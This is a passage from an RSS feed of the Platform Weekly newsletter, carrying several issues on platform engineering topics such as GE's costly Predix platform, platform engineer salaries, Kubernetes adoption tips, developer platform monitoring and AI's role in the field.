terms of revenue growth. Meaning if you innovate fast, you grow fast in revenue. You beat the crisis. It's simple.\nWhen I talk to managers, I always have the same playbook:\n\n\nCommunicate clearly and appeal to the fighting spirit of your people. You have no idea how much everybody is ready to chip in when they have to save their jobs.\n\nYes, halt new hires, everybody understands where you\u2019re coming from.\n\nDouble down on improving developer velocity. To do this for once follow Gartner and jump on the Platform Engineering train. It\u2019s one of their top strategic technology trends for 2023 for a reason.\n\nInvest in tools to keep maintenance low, de-risk implementation and get things into place fast. If it takes you 6 months to get something in place you might be dead by the time it\u2019s up and running.\nIt\u2019s a tough call that can cost a lot if you get it wrong. Good luck in the next few weeks. Managing the good times is easy. War-time management is what separates you from the pack.\nShort on time? \u23f3 We got you \ud83e\udd50\ud83d\ude0b\n\ud83e\udd50 Platform Engineering is featured in Gartner's TOP 10 Strategic Technology Trends for 2023. Ad Platforma!\n\ud83e\udd50 I bet AWS users are gonna love this. This DB service visualization comes courtesy of Forrest Brazeal.\n\ud83e\udd50 Platform as a Product mindset is essential for a successful platform roll out. Check out my latest article for a deep dive into this trending topic.\n\ud83e\udd50 The developer toolbox \ud83e\uddf0 has changed beyond recognition over the last two decades. In this article, Roni Dover explores the Modern Developer Stack. You might find some useful tools \ud83d\udd28 as well.\n\ud83e\udd50 Cool new podcast alert! \ud83c\udf99\ufe0f Check out the Always an Engineer Podcast to tackle the tough questions all software engineers face.\n\ud83e\udd50 The next level of chaos engineering is here! \ud83d\udd2b Try killing pods inside Kubernetes cluster by shooting them in Doom.\nLike what you've read? Share it with your friends \ud83e\udd17\nThis newsletter is a community effort, so if you have anything awesome to share from the cloud-native world, send it our way. You can share your ideas here.\nCya next week!\nStay crunchy \ud83e\udd50\nLuca]]>\n  \n  Thu, 02 Feb 2023 00:00:00 GMT\n\n\n  How not to burn $7B on your platform\n  https://platformweekly.com/issues/how-not-to-burn-7b-on-your-platform\n  https://platformweekly.com/issues/how-not-to-burn-7b-on-your-platform\n  \n  \nHave $7B to burn?\nIf you answered no, keep reading.\nLet\u2019s get bakin\u2019 \ud83e\udd50\nHow to not burn $7B on your platform\nGE burned $7B on their platform. Want to avoid a similar fate? In his latest article for the Platform Engineering community, Steve Pereira broke down what we can learn from this cautionary tale.\nTLDR; having good intentions, a compelling vision, and vast resources aren\u2019t enough to deliver success.\nGE's platform, Predix, promised a lot: easy IoT deployments, condition-based monitoring, and a uniform platform for streaming and batch analytics processing.\nGE leaned into the project hard. (They even built their own data centers to own the e2e value chain.) But there was a big problem: building the data center was only one of the project's requirements. They still needed a ton of other stuff: on-demand infrastructure pipelines, application scaffolds, templates, and a host of hardware, networking, etc.\nIt was a lot, especially for a company rooted solidly in the brick-and-mortar world. By 2020, the company shelled out more than $7B on consultants, marketing, partners, and more. On top of that, it was bad timing: they also had missed their revenue projections by. around $14B.\nWhat went wrong? In short, the vision and the goal of the platform didn\u2019t align with GE itself. You see, you shouldn\u2019t treat your platform like a separate entity from the rest of the business because it isn\u2019t. At GE, they wound up with a big conflict between platforming best practices and the company\u2019s traditional lean manufacturing style.\nGE also didn\u2019t invest enough in its internal capabilities and organizational infrastructure. When you\u2019re building a platform, you\u2019re building something that needs to be continuously maintained and continuously improved - for as long as you\u2019ll be in business.\nSo how can you avoid this fate? An outcome mapping process can define your vision clearly for everyone involved. This helps avoid teams becoming misaligned on what the platform is actually for. Value stream mapping can also help. You look at how everything is happening in the organization today and figure how you\u2019ll accomplish all of your different goals and work more effectively. These methods have three core components in common:\nKeep these concepts in mind, and you can avoid burning $7B on your platform.\nWant to dive deeper? Check out the full article here.\nShort on time? \u23f3 We got you \ud83e\udd50\ud83d\ude0b\n\ud83e\udd50 Getting into Platform Engineering or DevOps? Check out this video for a solid roadmap of need-to-have skills.\n\ud83e\udd50 Here's a Kubernetes Podcast you don't want to miss. This episode with Betty Junod explores the rise of platform engineering and internal developer platforms. You'll thank me later \ud83d\ude09\n\ud83e\udd50 Don't know how to measure your product-led growth? Andrew Korbel and Sid Sapru share some handy metrics to get you on track.\n\ud83e\udd50 Charity Majors says the future of Ops is Platform Engineering. Dive into her article and find out why.\n\ud83e\udd50 This week no memes could conquer this song, sorry not sorry...\ud83c\udfb6\ud83c\udfb6\ud83c\udfb6\n\ud83c\udfb6 Liked what you read here? Share it with your friends \ud83e\udd17\nThis newsletter is a community effort, so if you have anything awesome to share from the cloud-native world, send it our way. You can share your ideas here.\nCya next week!\nStay crunchy \ud83e\udd50\nLuca]]>\n  \n  Thu, 02 Feb 2023 00:00:00 GMT\n\n\n  DAPR, AI & Deutschland\n  https://platformweekly.com/issues/dapr-ai-deutschland\n  https://platformweekly.com/issues/dapr-ai-deutschland\n  \n  \nLast night, we had our second ever in-person platform engineering roundtable in Germany. If you\u2019ve never been to one of our roundtables. You need to.\nIt\u2019s a small collection of platform engineering nerds (like me) sitting around and discussing their experience and thoughts on platform engineering.\nSometimes it\u2019s a few leaders sharing war stories in a tiny, cramped room. Sometimes like last night (thanks to codecentric AG who helped us organise it), it's an awesome venue, with great food, and dozens of experts of every walk of life - 20 year veterans, first time platform engineers, consultancy CEOs, and more debating every intricacy of platform engineering for hours.\nSo, what did 40 platform engineering leaders have to say in Munich last night?\n\n\nAI platform engineering is coming here. From code, and infra generation to AI-enabled infra orchestration. It\u2019s clear AI is going to be a huge part of PE. But it\u2019s also clear - that a lot of it just ain\u2019t enterprise ready yet *cough TF file generation *cough.\n\nManuel Zapf's recent article on DAPR and the shift from cloud-native to platform-native is the talk of the town (Well, one room of the town). DAPR is another great example of tooling that embodies everything that is great about platform engineering.\n\nPlatform engineering is HOT in Germany. It\u2019s been a long time since Europe was particularly famous for being pioneering in technology. But the conversations I\u2019ve been having with German platform engineers are extremely cool. The energy is there. And it\u2019s the same across all of Europe, we just had an awesome Meetup in Poland, and later this year is PlatformCon Paris.\n2025 is clearly the year of in-person in the Platform Engineering community.\nYesterday was just the first of many.\nLet\u2019s do this.]]>\n  \n  Wed, 13 Aug 2025 00:00:00 GMT\n\n\n  Platform engineers vs. DevOps engineers: Who makes more?\n  https://platformweekly.com/issues/platform-engineers-vs-devops-engineers-who-makes-more\n  https://platformweekly.com/issues/platform-engineers-vs-devops-engineers-who-makes-more\n  \n  \nWant a salary bump? Try platform engineering.\nLet\u2019s get bakin\u2019 \ud83e\udd50\nPlatform engineers vs. DevOps engineers: Who makes more?\nPlatform engineering is getting more hype... and more money \ud83d\udcb8 in the pockets of people who make the switch from DevOps.\nA few months ago, we ran a small survey in the Platform Engineering Community. We focused on the United States, Canada, and Europe.\nIn the survey, we asked some questions to better understand the current state of platform engineering: what tech folks are working with, the average salary, and if the job is in-person or fully remote.\nHere\u2019s what we found:\n1. Want to get the big bucks? \ud83d\udcb0 Be a platform engineer in North America.\nAcross the board, platform engineers earn more on average than their DevOps engineers peers. The gap is almost 9,4% in North America and doubles that \u2013 19,4% \u2013 in Europe.\nWhy is this the case? Companies are realizing that building a platform adds more value to their bottom line. Employees with the right experience (and product mindset) are hard to find, harder than your typical DevOps engineer. \ud83d\ude09\n2. Kubernetes and Infrastructure as Code (IaC) lead the pack in the most used technologies for platformers.\nThis shouldn\u2019t come as a huge surprise. Platforms are normally built as a layer on top of clusters and infrastructure, streamlining both configuration management and infrastructure orchestration.\n3. In-office is out, flexible work is in. \ud83c\udf89\nGood news for folks who like taking meetings in sweatpants: platform engineers are at the forefront of the remote work revolution! In North America, platform engineers are overwhelmingly remote. In Europe, it\u2019s still pretty flexible with a balanced split between fully remote and hybrid options.\nHowever you slice it, 100% in-office is 100% dead.\nWant to get in on the next big thing? Check out our YouTube channel to learn the best platform engineering experts like Cloud Strategy Author Gregor Hohpe, Team Topologies Co-Author Manuel Pais, OpenCredo CEO Nicki Watt, and Puppet Field CTO Nigel Kersten \ud83d\udc47\nShort on time? \u23f3 We got you \ud83e\udd50\ud83d\ude0b\n\ud83e\udd50 Software scalability is one of the components improving developer velocity. Jesse Chen shares his thoughts.\n\ud83e\udd50 Interesting read from Jay Cuthrell about DevEx, DevOps, platform engineering, and the importance of a cloud platform foundation with developer goal landing zones. Check it out.\n\ud83e\udd50 DevOps is Dead \ud83d\udc80 Long live platform engineering! Don't agree? Aeris Stewart explains it all in their latest article for The New Stack.\n\ud83e\udd50 The memes are back! I know you missed them \ud83d\ude09\nThat's a wrap on #8. They say sharing is caring, so share the platform care with your friends \ud83e\udd17\nThis newsletter is a community effort, so if you have anything awesome to share from the cloud-native world, send it our way. You can share your ideas here.\nUntil next week!\nStay crunchy \ud83e\udd50\nLuca]]>\n  \n  Thu, 02 Feb 2023 00:00:00 GMT\n\n\n  Is AI platform engineering the future?\n  https://platformweekly.com/issues/is-ai-platform-engineering-the-future\n  https://platformweekly.com/issues/is-ai-platform-engineering-the-future\n  \n  \nHey there! Welcome to Platform Weekly, your beat of the platform engineering drum. This week we\u2019re talking about the other tech hype train. AI.\nIs AI platform engineering the future?\nA lot came from PlatformCon 2024 this year. We launched the first official platform engineering course (with some pretty cool surprises coming soon). We also had the first-ever PlatormCon live day. But one thing that we haven\u2019t discussed enough yet\u2026 AI!\nNow to say that we haven\u2019t discussed AI enough might sound ridiculous to you, but there is one key detail I think is important. This year proved without a doubt that the topics discussed at PlatformCon - set the tone for the next year of Platform Engineering.\n\n\nThe best practices in Platform as a Product theorized in 2022, became the standard in talks in 2023\n\nThe platform engineering reference architectures shared in 2023 influenced almost 20% of all talks in 2024\nThere is no reason the ideas discussed this year should be any different in setting the stage for the future.\nSo, what was shared about AI?\n\n\nHow platform engineering teams can augment DevOps with AI by Manjunath Bhat, Research VP, Software Engineering Practice, Gartner broke down how AI tools, technologies, and techniques can boost DevOps to deliver better results\n\nPlatform engineering and AI - how they impact each other brought together three AI experts to explore how AI and Platform Engineering intersect and complement each other\n\nEngineering Cloud Native AI Platform by Yuan Tang, Principal Engineer, Red Hat, cut straight to the core and explores best practices and challenges in building large, efficient, scalable, and reliable AI/ML platforms using cloud-native technologies like Kubernetes\nWant more learning? Join me soon for the Platform Engineering Fundamentals course. It\u2019s filling up!\nQuick bites\nArticleEvent of the week:\n\n\nBalancing Simplicity and Flexibility: The Platform Engineer\u2019s Dilemma\nFrom the community:\nWant to discuss AI with other platform engineering fans? Come join the Slack!]]>\n  \n  Wed, 17 Jul 2024 00:00:00 GMT\n\n\n  What Do IDPs And Gardens Have In Common?\n  https://platformweekly.com/issues/what-do-idps-and-gardens-have-in-common\n  https://platformweekly.com/issues/what-do-idps-and-gardens-have-in-common\n  \n  \n\ud83e\udd50 Hey there! It\u2019s Platform Weekly, the John Wick of cloud native newsletters. Each sequel issue is better than the last. Let's get bakin'\nAlso, want to know how your organization stacks up against platform engineering best practices? Take this 12-question Platform Maturity Survey to find out. (And, no, you don\u2019t even have to share your email to get the results.)\nWant more Platform Engineering and DevOps news, analysis, and resources? Consider signing up for a newsletter from our friends over at The New Stack. They have daily and weekly newsletter options to keep devs, engineers, and the cloud native community in-the-know.\n5 benefits of monitoring and managing your Internal Developer Platform\nColleen Green, Tanzu Labs at VMWare\nThis newsletter was adapted from this blog post.\nGardening isn't just for plants; it's for internal developer platforms too! Monitoring and managing your internal developer platform is essential to the application development and delivery process. Putting in the effort to maintain and optimize your platform, and keeping an eye on potentially disruptive changes, will keep your garden safe and pests out.\nThere are numerous benefits to building a monitoring and management system for your platform. These include:\n1\ufe0f\u20e3 Improved system performance \nBy monitoring for bottlenecks, spotting trends and identifying potential issues well before they impact performance, engineering teams can implement proactive strategies to ensure optimum availability, reliability, scalability, and response times. Further, regular maintenance such as patching and upgrading hardware and applications will also ensure greater efficiency and user experience. All of this puts organizations in a better position to reduce system disruptions, anticipate future needs and, ultimately, achieve greater efficiency and profitability.\n2\ufe0f\u20e3 Cost reduction \nOptimizing and managing an application platform properly can offer organizations various ways to cut costs. Keeping an eye on the performance and use of the platform can unveil areas for optimization, leading to enhanced resource utilization and decreased hardware and license fees. Proactively keeping tabs on the application\u2019s health can spot prospective issues quickly, saving the costly consequences of service outages and downtimes. Moreover, thorough monitoring and oversight allow IT teams to discern where resources can be redistributed to make a budget-friendly difference.\n3\ufe0f\u20e3 Scalability \nThrough monitoring, platform engineers can achieve scalability more efficiently by using data to replicate or adjust resources according to performance and capacity demands. This helps streamline the manual scaling and compliance management processes, as well as supply in-depth proficiency into application performance, resource utilization, and user experience over multiple servers and services.\n4\ufe0f\u20e3 Enhanced security \nSecurity is a main concern in platform engineering. By providing guardrails for developers through golden paths, and tracking various application activities engineers can detect any malicious or unauthorized activity, making it easier to respond quickly and mitigate the potential damage. Monitoring can also provide insights into what security measures may need to be implemented or improved. \n5\ufe0f\u20e3 Improved feedback loops \nDevelopers can keep their applications running at their best and continually monitor user engagement by leveraging feedback loops that collect usage data on performance in production. With this centralized control in hand, engineers can make modifications to their apps with speed and efficiency, and then see the results instantly. Automated alerting and notifications will also help engineers quickly detect and repair any issues that may arise.\nHere are some quick ways to start monitoring and managing your application platform for more optimal results:\n\ud83d\udd10 Secure your deployment environment \nStart by securing the server and network configuration of the application platform and make sure the system is updated with the latest security patches. You can also implement security practices such as controlling access to the platform, monitoring for suspicious activity, and staying up to date on threats and vulnerabilities.\n\ud83d\udcc8 Establish system baselines \nAfter assessing your platform\u2019s system components, establish baseline measurements of hardware and software configurations, as well as usage statistics. Next, define a baseline of acceptable performance metrics, which could include average uptime, system response times, network throughput, or any other relevant metrics. Set up a system to meet the defined baseline performance by adjusting system configurations, fine-tuning hardware, adding or removing resources, or optimizing code.\n\u23f0 Establish alerting rules \nIdentify the events that you want to trigger an alert, and determine the best way to receive them. Use the platform-specific tools available in your software to create the alerting rules. Depending on the platform, you may need to define the conditions for when the alert will be triggered (such as a threshold for a certain metric, or an event name or type). Monitor these new rules for accuracy, and adjust as needed. \n\ud83d\udd0d Monitor application performance \nWithin the application architecture, identify the components, how they are connected, and their overall flow. Monitor the application layer and capture performance metrics, such as request latency, errors, and response times. Configure the monitoring system to alert you when certain thresholds are breached.\n\u2699\ufe0f Automate processes \nTake time to explore monitoring and management automation solutions\u2013cloud-based services, open source, and enterprise-level solutions are all viable options. After finding the best tool and technology for your needs, begin setting up your monitoring and management system by configuring the monitoring agents, collecting data, storing logs, and establishing alerts. Once you have a basic system in place, review the performance of your automation periodically to ensure accurate data and efficient operation.\nLearn more by watching Michael Cot\u00e9 and Bryan Ross\u2019 PlatformCon 2023 sessions.\nShare | Tweet | Forward\nShort on time? \u23f3 We got you \ud83e\udd50\ud83d\ude0b\n\ud83e\udd50 Google released a paper on how they define, measure, and manage technical debt. But if you don\u2019t want to read the whole thing, check out Abi Noda\u2019s \ud83d\udd25 recap.\n\ud83e\udd50 Did you attend PlatformCon 2023? If so, let us know what you thought about the conference. Your feedback helps us make our community events better. \ud83d\udcaa\n\ud83e\udd50 Realtor.com\u2019s Suzy Julius shared how the U.S. real estate site transformed their culture into one that embraces platform engineering. Check out her PlatformCon talk or this blog recap.\nAnd that\u2019s a wrap on this week! As always, this newsletter is a community project. So if you have anything awesome to share from the cloud-native world, send it our way.\nStay crunchy \ud83e\udd50\nLuca\n\u200d]]>\n  \n  Thu, 22 Jun 2023 00:00:00 GMT\n\n\n  6 Enterprise Tips For Scaling K8s Adoption\n  https://platformweekly.com/issues/6-enterprise-tips-for-scaling-k8s-adoption\n  https://platformweekly.com/issues/6-enterprise-tips-for-scaling-k8s-adoption\n  \n  \nHey there!\nAdopting K8s can be a \ud83d\udc15. This week, I\u2019m sharing a few pointers that can help.\nLet\u2019s get bakin\u2019\n6 enterprise tips for scaling K8s adoption \nKubernetes is a powerful tool, yet many enterprises still struggle to adopt it well. A few weeks ago, EY\u2019s Turja Narayan Chaudhuri shared his tips for scaling K8s adoption more reliably with the platform engineering community. Here\u2019s the skinny:\n1\ufe0f\u20e3 Enforce standardization. Every cluster your enterprise provisions should start from the same template, script, or automation pipeline. Your developers shouldn\u2019t need to set up or operate new clusters, or deviate from approved baselines.\n2\ufe0f\u20e3 Enable self-service with a thoughtfully-designed catalog. Chaudhuri recommends featuring the most widely used tools on your self-service catalog to facilitate the highest possible level of developer autonomy. Mandating practices is a failing strategy. Instead, do user research to understand what your devs need and start by addressing those first.\n3\ufe0f\u20e3 Create a central governance team. These folks will handle management, oversight, and operation of K8s workloads, helping you better control what happens across the entire enterprise. \n4\ufe0f\u20e3 Create a documentation repo for K8s. Chaudhuri recommends going beyond general knowledge guides and addressing real-world use cases\u2014troubleshooting services, connecting to clusters from laptops, and so on.\n5\ufe0f\u20e3 Create a centralized SRE of K8s Ops team for 24/7 support. How you go about doing this and the level of service this team provides is completely up to you. However, your support team should have ownership over keeping your K8s platform running smoothly.\n6\ufe0f\u20e3 Leverage automation. This is key to most successful K8s adoptions. Your automation should facilitate easy deployment of containers and management of pods on these clusters. Chaudhuri recommends going beyond supporting the infrastructure itself and remembering the bigger picture: You want to keep users from doing things from scratch.\nWant to dive in deeper? I highly recommend checking out the full article.\n \nShort on time? \u23f3 We got you \ud83e\udd50\ud83d\ude0b\n\ud83e\udd50 The platform engineering community celebrated hitting 10k members on Slack with a cozy fireside chat. I was joined by The New Stack\u2019s Jennifer Riggins, Twilio\u2019s Asaf Erlich, and Palo Alto Network\u2019s Ramesh Nampelly. \n\ud83e\udd50 Want to break into platform engineering? The folks at Spiceworks put together this \ud83d\udd25 guide to key skills, job descriptions, and salary.\n\ud83e\udd50 Here\u2019s how Levels.fyi scaled to millions of users with Google Sheets as a backend. \n\ud83e\udd50  We got 500+ talk submissions for PlatformCon 2023! Get hyped for this year\u2019s lineup and don\u2019t forget to register.\n\ud83e\udd50 \nLast but not least, have you joined the Platform Engineering Slack channel? If not, you're missing out. Here are the highlights: \n\n\nGood resources for learning about IDPs?\n\nHow do development teams working in a cloud environment test solutions in the local environment?\n\nWhat is the modern stack for internal engineering documentation?\nAnd that\u2019s a wrap on this week! As always, this newsletter is a community project. So if you have anything awesome to share from the cloud-native world, send it our way.\nStay crunchy \ud83e\udd50\nLuca\n\u200d]]>\n  \n  Thu, 16 Mar 2023 00:00:00 GMT\n\n\n  Platform calling\n  https://platformweekly.com/issues/platform-calling\n  https://platformweekly.com/issues/platform-calling\n  \n  \nI talked to literally 100s of people at KubeCon London this week. And every one was asking me \u201cI\u2019ve heard about your certification. Where can I see more?\u201d, \u201cPlatformCon is going to be awesome\u201d or most of all - \u201cHouse of Kube was f*cking epic.\u201d\nAlso - shout out to everyone who mentioned platform weekly. Love you guys!\nWe really went big at KubeCon this year, and it\u2019s incredible to see the way the community has grown over the last few years.\nIn 2024, Platform Engineering was the hype slogan vendors added to their booth to ride the train. Today? Platform engineering is a fact of life.\n\n\nMathieu talked platform engineering security to 850 people\n\nHouse of Kube, the (un)official launch party of KubeCon got 5,000 registrations!! (And over 1k partied inside)\n\nThe quality of debate at our PE executive roundtable was next level\nAt the same time, I had amazing conversations at every corner with course attendees, PlatformCon partners, and our awesome ambassadors.\nAnd while all this was happening, I helped launch what I think will be one of the biggest AI projects of the year, Canyon.\nIt\u2019s crazy to think how far we\u2019ve come since 2022. Best part? We\u2019re still just getting started.]]>\n  \n  Wed, 13 Aug 2025 00:00:00 GMT\n\n\n  How to sell platform engineering to your boss\n  https://platformweekly.com/issues/how-to-sell-platform-engineering-to-your-boss\n  https://platformweekly.com/issues/how-to-sell-platform-engineering-to-your-boss\n  \n  \nHey there! This is Platform Weekly, your weekly turn of the platform engineering book \ud83d\udcd9\nHow to sell platform engineering to your boss\nOkay, so you know that platform engineering will be a game changer for your team or your organization. But how do you actually sell it to the leadership team? This is the step by step process to develop your plan, and build the Minimum Viable Platform (MVP) that will convince your boss that platform engineering matters.\nStep 1: Learn what your boss actually cares about\nAs much as we might all love platform engineering, management focus and attention and the budget and resources that come with that - are always going to revolve around whatever management's strategic priorities are (or as I like to say, what mgmt cares about).\nStep 2: Identify your platform story\nThe beautiful thing about platform engineering is that it can solve a LOT of different problems. Does your management care about developer productivity and time to market? Well, then you need to be telling a platform story that emphasizes the impact of platform engineering on exactly that.\nStep 3: Build a Minimum Viable Platform (MVP)\nThe bad news? You likely can\u2019t just send your boss one of my articles that support your platform story. They will probably need to see numbers and proof. The good news? You can easily do that yourself in 4 weeks. Build an MVP. Gather some feedback on it. Iterate and then\u2026\nStep 4: Prove value\nNow that you\u2019ve got an MVP, you can start to prove your platform story. The MVP helps you demonstrate that platform engineering will actually do what you\u2019ve said it will (it will also prove that developers will actually use this new \u201cproduct\u201d).This makes it far easier to justify the budget and focus allocation from your management team. Esp if you\u2019ve aligned the MVP program with their strategic priorities.\nIt then becomes a no brainer to expand.\nQuick bites\nArticles that blew me away: \n\n\nThe 3 Paradoxes of Cloud Native Platform Engineering\nFrom the community:\n\n\nThe community continues to grow and change. Share your thoughts.]]>\n  \n  Tue, 02 Apr 2024 00:00:00 GMT\n\n\n  Top 5 memes of 2025\n  https://platformweekly.com/issues/top-5-platform-engineering-trends-of-2025\n  https://platformweekly.com/issues/top-5-platform-engineering-trends-of-2025\n  \n  \nI am extremely proud of Platform Weekly. We work hard on bringing in-depth research, best practices and ideas from the across the frontier of our industry. What do 99% of people say to me about our industries largest platform engineering newsletter?\n\u201cI love the memes\u201d\nWell\u2026 I do to do. So let\u2019s jump into the 5 memes that defined 2025 for platforms.\n\u200d]]>\n  \n  Tue, 06 Jan 2026 00:00:00 GMT\n\n\n  Full Stack? I\u2019m Calling B.S.\n  https://platformweekly.com/issues/full-stack-im-calling-b-s\n  https://platformweekly.com/issues/full-stack-im-calling-b-s\n  \n  \nHey there! \ud83e\udd50 It\u2019s Platform Weekly, the platform engineering newsletter that\u2019s as electrifying as a sip of Sprite from McDonald\u2019s. Let\u2019s get bakin\u2019\nFull stack? I'm calling B.S.\nSure, \u201cfull stack\u201d might\u2019ve made sense 15 years ago. It was a way to hire someone who could do everything. But that\u2019s the thing, trying to continue doing everything in the tech world might as well be trying to have a pulse on all matter in the big bang. It simply isn\u2019t possible to expand in every direction.\nIt\u2019s like saying, \u201cOh shit, what if the server admin could also write software and also manage the databases?\u201d\nThe problem is that now there are ~10 front end frameworks that are ridiculously specialized, about as many different database solutions, and more programming languages and pro/cons/isms and techniques to each that if you\u2019re a full stack engineer and you don\u2019t expand your skills every six months to a year, you will get left behind.\nFull stack and trying to hang on to an old paradigm doesn\u2019t work anymore. Everything is too specialized. It\u2019s best to become a specialist along with it.\nShare | Tweet | Forward\n\u200dShort on time? \u23f3 We got you \ud83e\udd50\ud83d\ude0b\n\u064eQuick Bites\n\n\nWhat\u2019s your take on the PaaS vs. Internal Developer Platform (IDP) debate? IMO, it all depends on context. If you\u2019re a large-scale enterprise with a brownfield setup, building an IDP is necessary to properly integrate legacy systems and maintain necessary flexibility. But if you\u2019re a small startup, a PaaS is probably sufficient.\n\n\nShould we be shifting left or shifting down? This article hits the nail on the head: \u201cOptimization begins with reducing the cognitive load on developers, and removing unnecessary obligations that distract them from innovating.\u201d\n\nFor those of y\u2019all in DevRel, this article by Daniel Bryant is a fantastic read.\n\n\n\ud83e\udd2d\nAnd that\u2019s a wrap on this week! As always, this newsletter is a community project. So if you have anything awesome to share from the cloud-native world, send it our way.\nStay crunchy \ud83e\udd50\nLuca\n\u200d]]>\n  \n  Tue, 08 Aug 2023 00:00:00 GMT\n\n\n  100 weeks of platform weekly\n  https://platformweekly.com/issues/100-weeks-of-platform-weekly\n  https://platformweekly.com/issues/100-weeks-of-platform-weekly\n  \n  \nHey there! Welcome to Platform Weekly. Your weekly bite into the crossianty goodness that is platform engineering. We\u2019re celebrating passing 100 weeks of Platform weekly. It\u2019s crazy to think it\u2019s been almost 2 years since I was in Paris, eating croissants and thinking about starting a platform engineering newsletter. Let\u2019s see how far we\u2019ve come. \nWe\u2019re looking at the first, the greatest, and the\u2026 not so greatest.\nBTW - It\u2019s your last chance to join the upcoming Platform Engineering Fundamentals course starting on Thursday, October 10th. So if you wanna join - join quick! We\u2019ve got an awesome group together so far.I can\u2019t wait to get started.\nA lot has changed since that warm autumn day when I wrote the first Platform Weekly. Back then, platform engineering was growing for sure, but no one would expect the meteoric rise that was soon to come.\nI had a few thousand followers on Twitter then, so the first few PWs went out to a couple thousand people. Now? It\u2019s over 100,000\u2026\nA lot has changed in the last 2 years. But Platform weekly most of all. Let\u2019s take a look at our best platform weekly ever, our worst platform weekly ever, and our first platform weekly ever.\nPW1: Beating Cognitive (Over)load\nBack then PW was mostly focused on highlighting cool stuff from other people. Especially coming hot off PlatformCon 2022. Infrastructure platform engineering wasn\u2019t a developer concept yet, and the fundamental concepts of golden paths and cognitive load were still pretty blurry.\nPWZERO: Is AI platform engineering the future?\nThere are some times you write something. A social media post, article or\u2026 a newsletter and you think. \u201cYeah, this is gonna be a banger.\u201d\nInteresting content. Trendiest topic imaginable, and what do you get?\nThe worst performing platform weekly ever. \nIn the end, I am not too surprised, the trendiest topics are also the most saturated topics. And when it comes to platform engineering. There is some interesting stuff to say - but it is far from the most exciting thing in our space right now.\nI am a strong believer that the impact of a good platform engineering initiative on an organization will be massively larger than most of the trendy AI implementations atm.\nSeems like the community agrees with me.\nPWHERO: State of Platform Engineering 2024\nOur best newsletter ever was just a few weeks ago. And the second best? A week before that. With the way that platform engineering (and this newsletter) has skyrocketed in the last year, it\u2019s no surprise that almost every newsletter is our most-read one.This newsletter was sharing the surveys for the upcoming State of Platform Engineering report. You can find the surveys here:\n\n\nState of Platform Engineering 2024 Survey\n\n2024 Platform Engineer Salary Survey\nThese 3 newsletters (and the almost 100x difference in their readership) can tell us a lot about the way platform engineering has changed over the last 2 years. It\u2019s gotten bigger. More developed. More standardized. More advanced. But\u2026\nMost people are still trying to figure out exactly what\u2019s going on. And like all things in tech, that fear of missing out gets balanced out by the fear of jumping on to something that might not have the permeability you\u2019d hoped.\nWith platform engineering though? It\u2019s pretty clear to me it\u2019s here to stay. Let\u2019s just see how far it can go.\nSee you in Platform Weekly 200\ud83d\ude09]]>\n  \n  Mon, 02 Dec 2024 00:00:00 GMT\n\n\n  5 key principles of modern apps\n  https://platformweekly.com/issues/5-key-principles-of-modern-apps\n  https://platformweekly.com/issues/5-key-principles-of-modern-apps\n  \n  \nThere is a lot of fanfare about agentic development at the moment. I was interviewing an engineering leader last week about the fundamentals of modern apps and the response was pretty\u2026 interesting.\n\u201cWhy does it matter if the agent can ensure the fundamentals are followed?\u201d\nOof. In this era, when development is increasingly democratized, and developers can work faster and more easily than ever - the key principles are more important than ever.\nLast night's community webinar with Jad El-Zein, from VMware couldn\u2019t have been more timely for everything I am afraid off.\nIf we envision a simplified idea of the platform engineering goals for modern AppDev.\n\n\nImprove developer experience\n\nReduce cognitive load\n\nIncrease reliability, compliance, and safety\n\nDeliver applications faster\nThese are all things that you can help drive agentically, but at the end of the day if the humans involved aren\u2019t keeping all 4 at the heart of what they\u2019re doing. (Not just all in on #4 speed;)\nSo what does Jad propose as the key principles to ensure the right balance of these 4 goals?\n\n\nCloud-native, composable, API-first architectures: Build your apps like Lego blocks instead of one giant piece of concrete. Clear APIs let those blocks talk to each other cleanly, so you can swap, scale, or fix parts without breaking everything.\n\nDeclarative, GitOps-driven delivery and operations: Describe what you want your systems to look like in code and let automation keep them that way. Git becomes your single source of truth, so every change is tracked, reversible, and transparent.\n\nObservability and closed-loop automation: Don\u2019t just collect data. Actually understand what your system is doing and WHY. Then use that insight to automatically adjust and improve things (hopefully before people notice problems).\n\nZero trust security, compliance, and resilience by design: Assume nothing is safe. Verify everything, limit access tightly, and bake security into the system from day one instead of bolting it on later.\nAnd number 5? DUH. Platform engineering as the foundation. Build your internal platform that makes the \u201cright way\u201d the easy way for developers. The goal is to remove friction and cognitive overload so teams can focus on building great products, not fighting infrastructure.\nWhether your development is 100% human, or AI augmented humans, or 100% agentic. These principles are fundamental.\nEven more so if you don\u2019t have active thinking humans at each step of the process.\nIf anything, the faster we move, the more disciplined we need to be about architecture, delivery, observability, security, and platform design. The tools may evolve (dramatically) but the responsibility to design resilient, reliable, and dev-friendly systems still sits with us.\nJad & VMware have it spot on. Fundamentals aren\u2019t optional in an agentic world, they\u2019re what make the speed possible.]]>\n  \n  Wed, 25 Feb 2026 00:00:00 GMT\n\n\n  5 platform engineering articles you need to read this summer\n  https://platformweekly.com/issues/5-platform-engineering-articles-you-need-to-read-this-summer\n  https://platformweekly.com/issues/5-platform-engineering-articles-you-need-to-read-this-summer\n  \n  \nIt\u2019s holiday season and for many of us, that means reading. I\u2019ve already done a recommendation newsletter on books last year (should I do another?), but one thing you might not know is that our platform engineering community blog is the best it\u2019s ever been. With the articles pouring in from our ever growing list of platform engineering ambassadors, the blog is undeniable the #1 spot for platform engineering knowledge.\nHere are 5 recent articles you need to read:\n\n\nBeyond algorithms: AI & platform engineering in the healthcare sector by Marc Mangus from Red Hat breaks down how AI can reshape Healthcare IF it has the internal developer platform to help it do it\n\nFighting compliance trolls killing platform engineering by Jon Skarpeteig from Signicat on how to embrace compliance, and enable automation to break through legacy \u201ccompliance troll\u201d practices like rigid manual approvals and segregation of duties.\n\nDomain-driven, AI-augmented: The next chapter of platform engineering by Ajay Chankramath from Platformetrics on exactly how to drive and deliver on a domain driven, AI supercharged IDP\n\nHow to become a platform engineer by Sam Barlien from the Platform Engineering community which zooms in on exactly what you need to understand to be a platform engineering in actuality, not just in your LinkedIn title\n\nWhy platform engineering will eat the world by Kaspar von Gr\u00fbnberg of Humanitec and Canyon, the magnum opus of the community blog in the last year. There is no other article that defines better where we are, and where we\u2019re going\nHave your own favorite? Send it to me, and i\u2019ll feature it here!]]>\n  \n  Thu, 21 Aug 2025 00:00:00 GMT\n\n\n  Is your Helm a risk?\n  https://platformweekly.com/issues/is-your-helm-a-risk\n  https://platformweekly.com/issues/is-your-helm-a-risk\n  \n  \nHey there! Welcome to Platform Weekly. Your weekly swing of the platform engineering axe. 